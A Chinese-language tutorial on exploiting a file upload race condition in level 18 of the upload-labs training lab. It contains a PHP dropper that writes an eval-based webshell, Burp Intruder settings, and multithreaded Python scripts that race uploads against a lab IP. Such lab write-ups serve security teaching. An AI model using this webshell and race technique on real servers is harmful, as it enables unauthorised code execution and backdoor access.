文件上传漏洞之条件竞争
这里拿upload-labs的第18关做演示
首先先看代码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
这段代码逻辑是文件上传后先保存文件,然后判断是否符合规则,符合的话改文件名,不符合的话删除文件。
在多线程环境中,可能会存在文件还未来得及删除,我们便访问到该文件,可以以此为切入点执行php语句。
第一步: 首先准备上传的文件,代码的作用是新建一个名字为shell.php,密码为c的webshell后门:
<?php
$file = fopen("shell.php","w");
$payload="<?php @eval($_POST['c']); ?>";
fwrite($file,$payload);
fclose($file);
?>
第二步: 上传文件,用burp抓包,发送到intruder模块
在Position模块把所有变量都Clear掉
然后Payloads里的Payload type设置为NUll payloads,Payload Options设置为Continue indefinitely
第三步: python脚本不停访问刚才上传的文件
import requests
for i in range(100000):
url="http://192.168.171.30/upload/upload/fopen.php"
if requests.get(url).status_code == 200 :
print('OK')
break
在burp点击Start attack,然后运行python脚本,直到显示OK停止就可以了。
用蚁剑连接,连接成功:
还有另一种方法,只用python脚本上传:
import requests
import concurrent.futures
import threading
def request(stop_event):
url = "http://192.168.171.30/upload/Pass-18/index.php"
files = {'upload_file': open('fopen.php', 'rb')}
data = {'submit': '上传'}
r = requests.post(url=url, data=data, files=files)
if requests.get('http://192.168.171.30/upload/upload/fopen.php').status_code == 200:
print('OK')
stop_event.set()
def main():
num_requests = 1000
max_threads = 100
stop_event = threading.Event()
with concurrent.futures.ThreadPoolExecutor(max_threads) as executor:
for _ in range(num_requests):
if not stop_event.is_set():
executor.submit(request, stop_event)
else:
break
print("Program stopped")
if __name__ == "__main__":
main()
运行结果:
总结:文件上传条件竞争就是需要在未删除文件时,访问此文件,以执行代码,可以使用多线程方法批量上传和访问。